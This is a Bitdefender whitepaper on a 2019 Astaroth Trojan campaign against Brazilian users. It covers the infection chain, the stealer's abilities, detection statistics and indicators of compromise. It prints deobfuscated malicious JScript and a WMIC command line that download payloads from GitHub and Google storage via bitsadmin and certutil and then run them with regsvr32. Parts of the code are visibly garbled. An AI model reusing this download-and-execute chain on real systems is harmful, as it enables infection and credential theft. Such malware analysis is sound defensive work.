Astaroth Trojan Resurfaces, Targets Brazil through Fileless Campaign
## Contents

<table>
<thead>
<tr>
<th>Section</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>Key Findings:</td>
<td>3</td>
</tr>
<tr>
<td>Infection Kill Chain</td>
<td>3</td>
</tr>
<tr>
<td>Post Infection Payloads</td>
<td>11</td>
</tr>
<tr>
<td>Campaign Evolution</td>
<td>13</td>
</tr>
<tr>
<td>Users Targeted</td>
<td>16</td>
</tr>
<tr>
<td>Conclusion</td>
<td>16</td>
</tr>
<tr>
<td>IOCs</td>
<td>16</td>
</tr>
</tbody>
</table>

## Authors:

**Vlad Dorin Cîncean** – Bitdefender Junior Software Engineer

**Bitdefender ATD Team**
During routine detection monitoring from our Advanced Threat Defense technology, Bitdefender researchers found an interesting spike in malware activity that involved the use of Microsoft binaries in the infection process, as well as the use of GitHub and Google Drive for delivering payloads. After analyzing the detection details we were able to identify this activity as a resurgence of the Astaroth spyware, a Trojan and information stealer known since late 2017.

What sets this Astaroth campaign apart is the use of native Microsoft tools – commonly known as “living off the land” - to avoid detection by traditional security solutions, as well as the fact that it specifically targets Brazil by checking for a Brazilian locale and a Portuguese keyboard before activating. Bitdefender telemetry shows that 92.61 percent of the users targeted by this May 2019 Astaroth campaign originate in Brazil.

Astaroth logs keystrokes only when a victim uses Internet Explorer (IE) and browses to specific Brazilian banks or business, and will even terminate Chrome or Firefox executables to make sure the victim uses IE. Our investigation also revealed that threat actors seem to use multiple versions of the same malware and host them on multiple websites.

Key Findings:

- Astaroth distribution via legitimate online services (GitHub, Google Drive)
- Campaign specifically targets Brazilian users (92.61 percent) by checking for a Brazilian locale and a Portuguese keyboard before activating
- Uses fileless techniques and native Microsoft tools to hide from traditional security solutions
- Threat actors use multiple version of the same malware, each hosted on a large number of websites
- Logs keystrokes only on Internet Explorer and browses to specific Brazilian banks or business

Infection Kill Chain

In this section, we present the infection kill chain, as it has been analyzed by our Attack Research team.

The user is tricked to download an archive from the internet. The archive contains a malicious .LNK file (shortcut) with a name designed to attract the user’s attention. The shortcut has as target cmd.exe, a well-known Windows binary that can be used to execute various commands.

When the user double clicks the .LNK file, causes a cmd.exe to start with an obfuscated command line.
Then, cmd.exe starts a new WMIC.exe process with the following style of commandline:

```
C:\Windows\system32\wbem\WMIC.exe os get d57126aE, numberofprocesses /format:"https://storage.googleapis.com/awsdx/09/v.txt#[redacted]
```

The /format parameter causes WMIC.exe to access and parse a XSL from google drive with the following content. Note that, the extension, as seen in the URL does not necessary have to be XSL. It may be anything, including TXT and no extension at all.

```xml
<?xml version='1.0'?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
-> Obfuscated JavaScript code
]]> </ms:script>
</stylesheet>
```

Removing the obfuscation, one can find a script similar to the one below. Please note the Portuguese sounding variable names like pingadori or preguita.

```
'use strict';
/** @type {!Array} */
var _0x7f38 = ['random', 'round', '07/', 'https://storage.googleapis.com/remarkx/',
'Shell.Application', 'C:\Windows\system32\wbem\WMIC.exe', ' os get ', '/
format:"', '?", '', '', '', 'open'];
/**
 * @param {number} precision
 * @param {number} layerconf
 * @return {?}
*/
function radador(precision, layerconf) {
  return Math[_0x7f38[1]](Math[_0x7f38[0]]() * (layerconf - precision) + precision);
}
var xparis;
var smaeVar;
var ss1;
var ss2;
var ss3;
var pingadori;
var prexload1;
var prexload2;
var prexload3;
var ss4;
/** @type {string} */
smaeVar = "09/";
/** @type {string} */
xparis = _0x7f38[3] + smaeVar + _0x7f38[4];
preguita = radador(1, 8);
if (preguita == 1) {
  preload = String[_0x7f38[5]()] + String[_0x7f38[5]()](117) + String[_0x7f38[5]()]
(114) + String[_0x7f38[5]()](114) + String[_0x7f38[5]()](101) + String[_0x7f38[5]()]
(110) + String[_0x7f38[5]()](116) + String[_0x7f38[5]()](116) + String[_0x7f38[5]()]
(105) + String[_0x7f38[5]()](109) + String[_0x7f38[5]()](101) + String[_0x7f38[5]()](122) +
String[_0x7f38[5]()](111) + String[_0x7f38[5]()](110) + String[_0x7f38[5]()](101);
```

[4]
if (preguita == 2) {
    preload = String[0x7f38[5]](102) + String[0x7f38[5]](114) + String[0x7f38[5]]
              (101) + String[0x7f38[5]](101) + String[0x7f38[5]](112) + String[0x7f38[5]]
              (104) + String[0x7f38[5]](121) + String[0x7f38[5]](115) + String[0x7f38[5]]
              (105) + String[0x7f38[5]](99) + String[0x7f38[5]](97) + String[0x7f38[5]]
              (108) + String[0x7f38[5]](109) + String[0x7f38[5]](101) + String[0x7f38[5]]
              (109) + String[0x7f38[5]](111) + String[0x7f38[5]](114) + String[0x7f38[5]]
              (121);
} 

if (preguita == 3) {
    preload = String[0x7f38[5]](102) + String[0x7f38[5]](114) + String[0x7f38[5]]
              (101) + String[0x7f38[5]](114) + String[0x7f38[5]](101) + String[0x7f38[5]]
              (117) + String[0x7f38[5]](97) + String[0x7f38[5]](108) + String[0x7f38[5]]
              (109) + String[0x7f38[5]](101) + String[0x7f38[5]](109) + String[0x7f38[5]]
              (111) + String[0x7f38[5]](114) + String[0x7f38[5]](121);
} 

if (preguita == 4) {
    preload = String[0x7f38[5]](108) + String[0x7f38[5]](97) + String[0x7f38[5]]
              (115) + String[0x7f38[5]](116) + String[0x7f38[5]](98) + String[0x7f38[5]]
              (111) + String[0x7f38[5]](111) + String[0x7f38[5]](116) + String[0x7f38[5]]
              (100) + String[0x7f38[5]](97) + String[0x7f38[5]](115) + String[0x7f38[5]]
              (101); 
} 

if (preguita == 5) {
    preload = String[0x7f38[5]](110) + String[0x7f38[5]](117) + String[0x7f38[5]]
              (109) + String[0x7f38[5]](98) + String[0x7f38[5]](101) + String[0x7f38[5]]
              (114) + String[0x7f38[5]](111) + String[0x7f38[5]](102) + String[0x7f38[5]]
              (112) + String[0x7f38[5]](111) + String[0x7f38[5]](111) + String[0x7f38[5]]
              (99) + String[0x7f38[5]](101) + String[0x7f38[5]](115) + String[0x7f38[5]]
              (115) + String[0x7f38[5]](110) + String[0x7f38[5]](115);
} 

if (preguita == 6) {
    preload = String[0x7f38[5]](110) + String[0x7f38[5]](117) + String[0x7f38[5]]
              (109) + String[0x7f38[5]](98) + String[0x7f38[5]](101) + String[0x7f38[5]]
              (114) + String[0x7f38[5]](111) + String[0x7f38[5]](102) + String[0x7f38[5]]
              (112) + String[0x7f38[5]](115) + String[0x7f38[5]](101) + String[0x7f38[5]]
              (114) + String[0x7f38[5]](115);
} 

if (preguita == 7) {
    preload = String[0x7f38[5]](111) + String[0x7f38[5]](114) + String[0x7f38[5]]
              (103) + String[0x7f38[5]](97) + String[0x7f38[5]](110) + String[0x7f38[5]]
              (105) + String[0x7f38[5]](122) + String[0x7f38[5]](97) + String[0x7f38[5]]
              (116) + String[0x7f38[5]](105) + String[0x7f38[5]](111) + String[0x7f38[5]]
              (110);
} 

if (preguita == 8) {
    preload = String[0x7f38[5]](114) + String[0x7f38[5]](101) + String[0x7f38[5]]
              (103) + String[0x7f38[5]](105) + String[0x7f38[5]](115) + String[0x7f38[5]]
              (116) + String[0x7f38[5]](101) + String[0x7f38[5]](114) + String[0x7f38[5]]
              (117) + String[0x7f38[5]](115) + String[0x7f38[5]](101) + String[0x7f38[5]]
              (114) + String[0x7f38[5]](115); 
} 

prexload1 = String[0x7f38[5]](radador(65, 90)) + String[0x7f38[5]](radador(65,
                   90)) + String[0x7f38[5]](radador(65, 90)) + String[0x7f38[5]](radador(65,
                   90)) + String[0x7f38[5]](radador(65, 90)) + String[0x7f38[5]](radador(65,
                   90)); 

prexload2 = String[0x7f38[5]](radador(65, 90)) + String[0x7f38[5]](radador(65,
                   90)) + String[0x7f38[5]](radador(65, 90)) + String[0x7f38[5]](radador(65,
                   90)) + String[0x7f38[5]](radador(65, 90)) + String[0x7f38[5]](radador(65,
                   90)) + String[0x7f38[5]](radador(65, 90)) + String[0x7f38[5]](radador(65,
                   90)) + String[0x7f38[5]](radador(65, 90)) + String[0x7f38[5]](radador(65,
                   90)); 

[5]
Now, cleaning the script a little bit in order to figure out what it is doing, we obtain the following:

```javascript
var some_variable = "09/";
var next_stage_address = "https://storage.googleapis.com/remarkx/" + some_variable + "vv.txt";
predefined_query_list = [
  "currenttimezone",
  "freephysicalmemory",
  "freevirtualmemory",
  "lastbootupdate",
  "numberofprocesses",
  "numberofusers",
  "organization",
  "registeredusers"
]
predefined_query = predefined_query_list[GenerateRandomNumber(1, 8)]
random_query_1 = GenerateRandomUppercaseChar() + GenerateRandomUppercaseChar() + GenerateRandomUppercaseChar() + GenerateRandomUppercaseChar() + GenerateRandomUppercaseChar() + GenerateRandomUppercaseChar() + GenerateRandomUppercaseChar() + GenerateRandomUppercaseChar() + predefined_query + "/format:" + next_stage_address + "?" + GenerateRandomNumber(1111111, 9999999) + "", "open", 0);
```

Reading the script reveals that the first WMIC.exe process will start another WMIC.exe process which will run a second stage code. This process will have a random commandline to avoid some AV signatures.

The second WMIC process will follow the /format parameter to a similar XSL document which now contains actual infection code. An example of a deobfuscated version is given below. Note that it attempts to download some files from a GitHub repository with some well-known extensions (such as .gif, .jpg, .zip or .log) in order to not look too suspicious.

```javascript
var infectionSuccessfull = false;
varactivex_Wscript_Shell0 = new ActiveXObject("Scripting.FileSystemObject");
varactivex_Wscript_Shell1 = new ActiveXObject("WScript.Shell");
varactivex_Wscript_Shell2 = new ActiveXObject("WScript.Shell");
```
function DownloadPayload(Source, DestinationFileName) {
    try {
        activx_Wscript_Shell5["run"]("bitsadmin /transfer msd5 /priority foreground " + Source + "+ DestinationFileName + ".z", 0, true);
        activx_Wscript_Shell5["run"]("certutil -decode " + DestinationFileName + ".z" + DestinationFileName, 0, true);
        return true;
    } catch (ex) {
        return false;
    }
}

function infection_loop(Ignored_parameter) {
    infectionSuccessfull = false;

    smaeVar = "09/";
    payload_url = "https://raw.githubusercontent.com/ricardo101023/x/master/" + smaeVar;

    path_to_users_public_library_temporary = "C:\Users\Public\Libraries\temporary";
    mimic_path_to_users_public = "C:\Users\Public\Libraries\temporary";

    string_prefix_TESLA = "139_TESLA_";

    try {
        var fso = new ActiveXObject("Scripting.FileSystemObject");
        fso.CreateFolder(path_to_users_public_library_temporary);
    } catch (ex) {
    }

    try {
        fso = new ActiveXObject("Scripting.FileSystemObject");
        fso.CreateFolder(mimic_path_to_users_public);
    } catch (ex) {
    }

    try {
        if (activx_Wscript_Shell0.FileExists(path_to_users_public_library_temporary + "falxconxrenw64.~")) {
            f = activx_Wscript_Shell0.GetFile(path_to_users_public_library_temporary + "falxconxrenw64.~");
            if (f["size"] < 10) {
                f.Delete();
                f.Close();
            }
        }
    } catch (ex) {
    }
try {
    if (!activx_Wscript_Shell0.FileExists(path_to_users_public_library_temporary + "\0139vrxi.log")) {
        f = activx_Wscript_Shell0.GetFile(path_to_users_public_library_temporary + "\falxconxrenw64.-");
        f.Delete();
        f.Close();
    }
    catch (ex) {
        }
    try {
        if (!activx_Wscript_Shell0.FileExists(path_to_users_public_library_temporary + "\0139refor.log")) {
            f = activx_Wscript_Shell0.GetFile(path_to_users_public_library_temporary + "\falxconxrenw64.-");
            f.Delete();
            f.Close();
        }
        catch (ex) {
            }
    try {
        if (activx_Wscript_Shell0.FileExists(path_to_users_public_library_temporary + "\falxconxrenwdwn.gif")) {
            if (activx_Wscript_Shell0.FileExists(path_to_users_public_library_temporary + "\falxconxrenwg.gif")) {
                if (activx_Wscript_Shell0.FileExists(path_to_users_public_library_temporary + "\falxconxrenwxa.-")) {
                    if (activx_Wscript_Shell0.FileExists(path_to_users_public_library_temporary + "\falxconxrenw64.-")) {
                        ss1 = "falxconxrenw64.-";
                        try {
                            activx_Wscript_Shell5["run"]("regsvr32.exe /s " + path_to_users_public_library_temporary + " + ss1 + ", 0, true);
                        } catch (ex) {
                            }
                        infectionSuccessfull = true;
                        }
                    }
                }
            }
        }
    // Machine was not infected. Start downloading files
    if (infectionSuccessfull == false) {
        try {
        result = DownloadPayload(payload_url + "falxconxrenwa.jpg.zip.log?" + GenerateRandomNumber(1, 999999999), path_to_users_public_library_temporary + "falxconxrenwa.jpg");
        if (result == false) {
            DownloadPayload(payload_url + "falxconxrenwa.jpg.zip.log?" + GenerateRandomNumber(1, 999999999), path_to_users_public_library_temporary + "falxconxrenwa.jpg");
        }
        catch (ex) {
            }
        try {
            result = DownloadPayload(payload_url + "falxconxrenwb.jpg.zip.log?" + GenerateRandomNumber(1, 999999999), path_to_users_public_library_temporary + "falxconxrenwb.jpg");
        } catch (ex) {
            }
    }
GenerateRandomNumber(1, 999999999), path_to_users_public_library_temporary + "\falxconxrenwb.jpg");
    if (result == false) {
        DownloadPayload(payload_url + "falxconxrenwb.jpg.zip.log?" +
GenerateRandomNumber(1, 999999999), path_to_users_public_library_temporary + "\falxconxrenwb.jpg");
    }
} catch (ex) {
}

try {
    result = DownloadPayload(payload_url + "falxconxrenwc.jpg.zip.log?" +
GenerateRandomNumber(1, 999999999), path_to_users_public_library_temporary + "\falxconxrenwc.jpg");
    if (result == false) {
        DownloadPayload(payload_url + "falxconxrenwc.jpg.zip.log?" +
GenerateRandomNumber(1, 999999999), path_to_users_public_library_temporary + "\falxconxrenwc.jpg");
    }
} catch (ex) {
}

try {
    result = DownloadPayload(payload_url + "falxconxrenwdwwn.gif.zip.log?" +
GenerateRandomNumber(1, 999999999), path_to_users_public_library_temporary + "\falxconxrenwdwwn.gif");
    if (result == false) {
        DownloadPayload(payload_url + "falxconxrenwdwwn.gif.zip.log?" +
GenerateRandomNumber(1, 999999999), path_to_users_public_library_temporary + "\falxconxrenwdwwn.gif");
    }
} catch (ex) {
}

try {
    result = DownloadPayload(payload_url + "falxconxrenwdx.gif.zip.log?" +
GenerateRandomNumber(1, 999999999), path_to_users_public_library_temporary + "\falxconxrenwdx.gif");
    if (result == false) {
        DownloadPayload(payload_url + "falxconxrenwdx.gif.zip.log?" +
GenerateRandomNumber(1, 999999999), path_to_users_public_library_temporary + "\falxconxrenwdx.gif");
    }
} catch (ex) {
}

try {
    result = DownloadPayload(payload_url + "falxconxrenwg.gif.zip.log?" +
GenerateRandomNumber(1, 999999999), path_to_users_public_library_temporary + "\falxconxrenwg.gif");
    if (result == false) {
        DownloadPayload(payload_url + "falxconxrenwg.gif.zip.log?" +
GenerateRandomNumber(1, 999999999), path_to_users_public_library_temporary + "\falxconxrenwg.gif");
    }
} catch (ex) {
}

try {
    result = DownloadPayload(payload_url + "falxconxrenwgx.gif.zip.log?" +
GenerateRandomNumber(1, 999999999), path_to_users_public_library_temporary + "\falxconxrenwgx.gif");
    if (result == false) {
        DownloadPayload(payload_url + "falxconxrenwgx.gif.zip.log?" +
GenerateRandomNumber(1, 999999999), path_to_users_public_library_temporary + "\falxconxrenwgx.gif");
    }
} catch (ex) {
falxconxrenwgx.gif
}
} catch (ex) {
}
try {
    result = DownloadPayload(payload_url + "falxconxrenwxa.gif.zip.log?" + GenerateRandomNumber(1, 999999999), path_to_users_public_library_temporary + "\falxconxrenwxa.-");
    if (result == false) {
        DownloadPayload(payload_url + "falxconxrenwxa.gif.zip.log?" + GenerateRandomNumber(1, 999999999), path_to_users_public_library_temporary + "\falxconxrenwxa.-");
    }
} catch (ex) {
}
try {
    result = DownloadPayload(payload_url + "falxconxrenwxb.gif.zip.log?" + GenerateRandomNumber(1, 999999999), path_to_users_public_library_temporary + "\falxconxrenwxb.-");
    if (result == false) {
        DownloadPayload(payload_url + "falxconxrenwxb.gif.zip.log?" + GenerateRandomNumber(1, 999999999), path_to_users_public_library_temporary + "\falxconxrenwxb.-");
    }
} catch (ex) {
}
try {
    result = DownloadPayload(payload_url + "falxconxrenw98" + GenerateRandomNumber(1, 10) + ".dll.zip.log?" + GenerateRandomNumber(1, 999999999), path_to_users_public_library_temporary + "falxconxrenw98.~");
    if (result == false) {
        DownloadPayload(payload_url + "falxconxrenw98" + GenerateRandomNumber(1, 10) + ".dll.zip.log?" + GenerateRandomNumber(1, 999999999), path_to_users_public_library_temporary + "falxconxrenw98.~");
    }
} catch (ex) {
}
try {
    result = DownloadPayload(payload_url + "falxconxrenwhh" + GenerateRandomNumber(1, 10) + ".dll.zip.log?" + GenerateRandomNumber(1, 999999999), path_to_users_public_library_temporary + "falxconxrenwhh.~");
    if (result == false) {
        DownloadPayload(payload_url + "falxconxrenwhh" + GenerateRandomNumber(1, 10) + ".dll.zip.log?" + GenerateRandomNumber(1, 999999999), path_to_users_public_library_temporary + "falxconxrenwhh.~");
    }
} catch (ex) {
}
func activx_Wscript_Shell5("run")("cmd /V /K "echo " + string_prefix_TESLA + ">" + path_to_users_public_library_temporary + "\rl.log"& exit", 0, false);
try {
    result = DownloadPayload(payload_url + "falxconxrenw98" + GenerateRandomNumber(1, 10) + ".dll.zip.log?" + GenerateRandomNumber(1, 999999999), path_to_users_public_library_temporary + "falxconxrenw98.-");
    if (result == false) {
        DownloadPayload(payload_url + "falxconxrenw98" + GenerateRandomNumber(1, 10) + ".dll.zip.log?" + GenerateRandomNumber(1, 999999999), path_to_users_public_library_temporary + "falxconxrenw98.-");
    }
} catch (ex) {
}
// execute payload with regsvr32
//
ssl1 = "falxconxrenw46.-";
if (activx_Wscript_Shell10.FileExists(path_to_users_public_library_temporary + "\" + ssl1) {
    try {
        activx_Shell_Application.ShellExecute("regsvr32.exe", "/s " + path_to_users_public_library_temporary + "\" + ssl1 + "", "", "", "open", 0);
    } catch (ex) {
        }
This time, in the original script we can see clear indicators that this can be a resurgence of the Astaroth Trojan. Some indicators of this are:

```javascript
function radador(difference, query) {
    return Math[_0xb0fe[1]](Math[_0xb0fe[0]]() * (query - difference) + difference);
}
var xLuciferxs;
varxCaverax;
```

This second script acts as a downloader for the malware. It downloads files from a GitHub account using bitsadmin.exe and certutil.exe, which are another 2 Windows binaries that can be abused in order to download files from the internet. The downloadable files, for this particular analysis, are provided in the IOCs section of this whitepaper.

```python
activx_Wscript_Shell5["run"]("bitsadmin /transfer msd5 /priority foreground " + Source + " " + DestinationFileName + ".z", 0, true);
activx_Wscript_Shell5["run"]("certutil -decode " + DestinationFileName + ".z " + DestinationFileName, 0, true);
```

Another Windows binary, regsvr32.exe, is used to load the following payload: 57695c832009ec3ef5894f0f1a5e8bddd.

### Post Infection Payloads

Let us take a look at the payload that was started in the analysis from the previous section. At a first look, this file contains compiled Delphi code. We provide the information about the MZPE file below.
Bitdefender has reports for multiple files with an export named `magnusbold`. For the current year, the list of MD5 hashes of binaries in this situation is provided in the IOCs section of this paper.

Taking a closer look on the file, one can see that it is very similar to older versions of the Astaroth WMIC Trojan. Astaroth is an information stealer trojan known to infect Brazilian users through the abuse of living on the land binaries such as WMIC.exe.

Astaroth abilities include:

- Ability to steal information through hooking, clipboard usage, and monitoring the key state.
- Using NirSoft NetPass to recover passwords:
  - Login passwords of remote computers on LAN.
  - Passwords of mail accounts on an exchange server stored by Microsoft Outlook.
  - Passwords of MSN Messenger and Windows Messenger accounts.
  - Internet Explorer 7.x and 8.x passwords from password-protected web sites that include `Basic Authentication` or `Digest Authentication`.
  - The item name of Internet Explorer 7 passwords that always begin with `Microsoft_WinInet` prefix.
  - The passwords stored by Remote Desktop 6.
- In some cases (though not present in the sample analyzed) manipulate Avast antivirus.

Astaroth is locale aware; any attempts to run the malware without locale spoofing will result in the inability to run the .dll files. It
checks for a Brazilian locale and a Portuguese keyboard.

The current version of the trojan spawns userinit, ctfmon, and svchost processes.

The malicious svchost constantly queries ieframe.dll, as well as IWebBrowser2 Interface using the CLSID dc30c1661-cdaf-11D0-8A3E-00c04fc9e26e, in order to interact with Internet Explorer. This is because the previously mentioned ability to use NetPass. To ensure its victim will use IE, the malware terminates Chrome or Firefox executables.

The malware logs keystrokes only when a victim uses IE and browses to specific Brazilian banks or business.

**Campaign Evolution**

Astaroth has seen a spike in the number of detections by the end of 2018. Then, the activity decreased a bit. However, we have noticed some new aspects such as the usage of Google APIs URLs for hosting the initial XSL file by beginning of May 2019. The evolution, in terms of number of Bitdefender ATD detections, is shown in Figure 1.

![Figure 1. Number of ATD detections for Astaroth in the last year (log scale)](image)

There are multiple versions for the remote XSL file, based on the XSL filename and the hosting domain (suspicious-name-looking, googleapis, githubusercontent, etc.). The distribution of the usage of these versions is shown in figures 2, 3, 4 and 5. The older versions follow a specific pattern that can be observed in the example below. Also, a list of the domains used to spread the malware is given in the IOCs section of this paper.

```
hxps://[randomstring-length16].bobmarleyf2.pw:25023/09/v136.xsl
```

The name of the XSL file varies through time. We have noticed a pattern that suggests some kind of file versioning: v121, v123, v124x, v131.xsl, v132.xsl, v133.xsl, etc. However, at the beginning of May 2019, we have noticed a change in the pattern. Moreover, the malware began to use legitimately-looking online services such as Google APIs to host the initial file. Even more, the XSL extension was replaced with TXT in order to further evade suspicion. An example of a Google APIs URL used to deliver Astaroth is given below.

```
hxps://storage.googleapis.com/remarkws/09/vv.txt
```
Figure 2. Kernel Density Estimate Plot for number of ATD detections - Astaroth v135

Figure 3. Kernel Density Estimate Plot for number of ATD detections - Astaroth v138
Figure 4. Kernel Density Estimate Plot for number of ATD detections - Astaroth (with no filename)

Figure 5. Kernel Density Estimate Plot for number of ATD detections - Astaroth that uses Google APIs URLs
Users Targeted

In the table below, we provide our geolocation statistics about the targeted users. One can easily observe that the malware campaign targets mostly users from South America, especially Brazil.

<table>
<thead>
<tr>
<th>Country</th>
<th>Percentage</th>
</tr>
</thead>
<tbody>
<tr>
<td>Brazil</td>
<td>92.61 %</td>
</tr>
<tr>
<td>Colombia</td>
<td>0.11 %</td>
</tr>
<tr>
<td>United States</td>
<td>0.20 %</td>
</tr>
<tr>
<td>Unknown</td>
<td>7.08 %</td>
</tr>
</tbody>
</table>

Conclusion

In this paper, we have presented an analysis along with ATD detection statistics of an Astaroth malware delivery campaign. It uses fileless techniques and native Windows binaries in order to hide from traditional security solutions. We discovered that Astaroth Trojan made a reappearance and now it is using Google APIs and GitHub services in order to spread the infection. While fileless techniques can easily bypass traditional antivirus solutions, they cannot evade behavioural detection technologies as easily. Advanced Threat Defense effectively detects malware attacks such as Astaroth at any step of the infection kill chain, even with the newly evasive attempts of using legitimate online services to deliver the payload.

IOCs

Payloads, downloadable from a GitHub repository

- 78eab857c9e8c549af5d1dae58e4a01e
- cc52dc5c0856cb9980ab29a6d8ed6683
- 073f4505dcef9c6bfc0a2ceadcc31fb
- a2deacbc74617c1bf6d68ca97a13f82b
- 57695c832009ec3ef58940f1a5e8bddd
- 76f3774cc3b943c6f650982327f457
- 1a40da8607d6f49920a7e8c1deb23836
- 531d2da022102ace115c960ca64aed17a
- c7f3ea72687a5fe9889f44b4bf8c88
- 0e1f8fc068c43a5744ef55d4b7014b58
- d06273a9c5bcb81b04071b185f15be57
- 57bbf87dfbd71aaef209bff71b08a32
- f2c80c2a11c62a4af0fd80a3e8cd704d
- d58bf865be46463ec7e9d76322e2935b
<table>
<thead>
<tr>
<th>Hash</th>
<th>Date</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>122f943cbbb358392f7861b2bf1730e5</td>
<td>06.05.2019</td>
<td>148.00 KB</td>
</tr>
<tr>
<td>2ff4ac956c8071f3c45792d6deefd61b</td>
<td>06.05.2019</td>
<td>148.00 KB</td>
</tr>
<tr>
<td>a20badbb1b7be7e38857058e345fd1bc</td>
<td>06.05.2019</td>
<td>148.00 KB</td>
</tr>
<tr>
<td>29031283d7643f52b376dc3be95f8c26</td>
<td>07.05.2019</td>
<td>108.50 KB</td>
</tr>
<tr>
<td>a8b0e817f6fc01bd8d7ed622ef37acc</td>
<td>08.05.2019</td>
<td>108.50 KB</td>
</tr>
<tr>
<td>57695c832099ec3ef5894f0fa5e8bddd</td>
<td>09.05.2019</td>
<td>148.00 KB</td>
</tr>
<tr>
<td>4d5b4b1c4498ee6b3810a0c67f8bad8</td>
<td>09.05.2019</td>
<td>148.00 KB</td>
</tr>
<tr>
<td>11360714b2d7f261f42149abb61f9b2a</td>
<td>09.05.2019</td>
<td>148.00 KB</td>
</tr>
<tr>
<td>76f3774cc3b943ce6509892327ff457</td>
<td>09.05.2019</td>
<td>148.00 KB</td>
</tr>
<tr>
<td>le5c2c2085e35c62d15956e7253fdf80</td>
<td>09.05.2019</td>
<td>148.00 KB</td>
</tr>
<tr>
<td>1839d9f258581daff5b1699e54fb4d9b</td>
<td>09.05.2019</td>
<td>148.00 KB</td>
</tr>
<tr>
<td>90909317a21005a8231f24e023fe375f</td>
<td>09.05.2019</td>
<td>148.00 KB</td>
</tr>
<tr>
<td>c7f3e72687a5fe98898f44b4bfb8c88</td>
<td>09.05.2019</td>
<td>148.00 KB</td>
</tr>
<tr>
<td>54e514c8fbed3b99cdfa3da28481083</td>
<td>09.05.2019</td>
<td>148.00 KB</td>
</tr>
<tr>
<td>a7e1d5e020af254e0e253879a08267d</td>
<td>09.05.2019</td>
<td>148.00 KB</td>
</tr>
<tr>
<td>2e00c7a4d73ef9ebeec0d048b32b9189</td>
<td>10.05.2019</td>
<td>148.00 KB</td>
</tr>
<tr>
<td>dc32625366a847ed827c28abdee22abd</td>
<td>11.05.2019</td>
<td>144.50 KB</td>
</tr>
<tr>
<td>0bf429f6346729461cb5b9f594d5a3fd</td>
<td>13.05.2019</td>
<td>144.50 KB</td>
</tr>
<tr>
<td>3ad9384f4d84841fb86fd23880383355</td>
<td>13.05.2019</td>
<td>144.50 KB</td>
</tr>
</tbody>
</table>
Domains used to spread the malware

```
".website":
   "cavaleiral.website",
   "blacklist01.website",
   "breakingbad1.website",
   "gameofthrones01.website",
   "ksegur.website",
   "redbullenergy01.website",
   "budweiser01.website",
   "30maxk.website",
   "bobmarleyf1.website",
   "hostwebfree.website",
   "vendasplus.website",
   "20hadji.website",
   "chromiunxewaa.website",
   "firefenix01.website",
   "77samsung01.website",
   "farrapos01.website",
   "aprovadetudo1.website",
   "salteadores1.website",
   "cloudinha.website",
   "mclarenpl1.website",
   "washow8.website",
   "lobosolitario1.website",
   "kawasakiinjia01.website",
   "frintzendxb.website",
   "ultrapower01.website",
   "proxy5x-server.website",
   "proxylx-server.website",
   "fortelegal.website",
   "dodgetomahawk01.website",
   "sharkatack01.website",
   "cavalodetroia01.website",
   "eniacomputer01.website",
   "vitorianaguerra1.website",
   "davidguetta01.website",
   "residentevil01.website",
   "americanterrier01.website",
   "aprovadetudo2.pw",
   "davidguetta02.pw",
   "boxfree.pw",
   "blacklist02.pw",
   "mclarenp2.pw",
   "farrapos2.pw",
   "salteadores2.pw",
   "hitsfree.pw",
   "freebackup.pw",
   "bobmarleyf2.pw",
   "30maxx.pw",
   "budweiser02.pw",
   "miamix.pw",
   "freehosted.pw",
   "washowuk.pw",
   "navixx.pw",
   "vendasplus.pw",
   "20saddam.pw",
   "firefenix02.pw",
```
"madrigalixxxweli.pw",
"sharkatack02.pw",
"gameofthrones02.pw",
"wiltonbrwsaq.pw",
"ultrapower02.pw",
"xsegur.pw",
"chromiunxede.pw",
"77samsung02.pw",
"dodgetomahawk02.pw",
"hostwebfreen.pw",
"senac0.pw",
"kawasakininja02.pw",
"breakingbad2.pw",
"lobosolitario2.pw",
"eniacomputer02.pw",
"americanterrier02.pw",
"intelcore-i2.pw",
"residentevil02.pw",
]
".space":{
  "cavaleira3.space",
  "aprovadetudo3.space",
  "blacklist03.space",
  "20pegar.space",
  "farrapos03.space",
  "miamixixx.space",
  "hitshits.space",
  "budweiser03.space",
  "ultrapower03.space",
  "freebackup.space",
  "breakingbad3.space",
  "gameofthrones03.space",
  "salteadores3.space",
  "navixx.space",
  "hostwebfreen.space",
  "30maxz.space",
  "wsegur.space",
  "kawasakininja03.space",
  "mclarenp3.space",
  "bobmarley.space",
  "chromiunxkla.space",
  "intelcore-i3.space",
  "77samsung03.space",
  "madrigalixxwefer.space",
  "eniacomputer03.space",
  "dodgetomahawk03.space",
  "castlebravo03.space",
  "firefenix03.space",
  "vitorianaguerra3.space",
  "sharkatack03.space",
  "davidguetta03.space",
  "redbullenergy03.space",
  "shaokahn03.space",
  "wshowzki.space",
  "americanterrier03.space",
}
".fun":{
  "cavaleira4.fun",
  "salehosted.fun",
  "freebackup.fun",
  "navixx.fun",
}
"hitsgreen.fun",
"hostwebfree.fun",
"farrapos04.fun",
"30maxw.fun",
"caveirao.fun",
"boxfree.fun",
"miamixix.fun",
"blacklist04.fun",
"salteadores4.fun",
"20stalin.fun",
"gameofthrones04.fun",
"madrigalixxrfe.fun",
"77samsung04.fun",
"wshowbka.fun",
"intelcore-i4.fun",
"aprovadetudo4.fun",
"mclarenp4.fun",
"budweiser04.fun",
"redbullenergy04.fun",
"ysecur.fun",
"kawasakininja04.fun",
"chromiunxjdkhy.fun",
"ultrapower04.fun",
"breakingbad4.fun",
"dodgetomahawk04.fun",
"eniacomputer04.fun",
"davidguetta04.fun",
"americanterrier04.fun",

".xyz":

"cavaleira6.xyz",
"caveiraov2.xyz",
"bellinatiperez.xyz",
"hitsblue.xyz",
"farrapos06.xyz",
"freebackup.xyz",
"miamixixi.xyz",
"globalcob.xyz",
"ultrapower06.xyz",
"20farma.xyz",
"trctaborda.xyz",
"boxfree.xyz",
"vendasplus.xyz",
"30maxy.xyz",
"mclarenp6.xyz",
"freehosted.xyz",
"cavalodetroia06.xyz",
"salehosted.xyz",
"chromiunxma.xyz",
"gameofthrones06.xyz",
"essencialsrv.xyz",
"ksecur.xyz",
"lobosolitario6.xyz",
"sismaistec01.xyz",
"cloudona.xyz",
"budweiser06.xyz",
"sharkatak06.xyz",
"aprovadetudo6.xyz",
"77samsung06.xyz",
"hostwebfree.xyz",
"wshowkdy.xyz"
"juriassessoria.xyz",
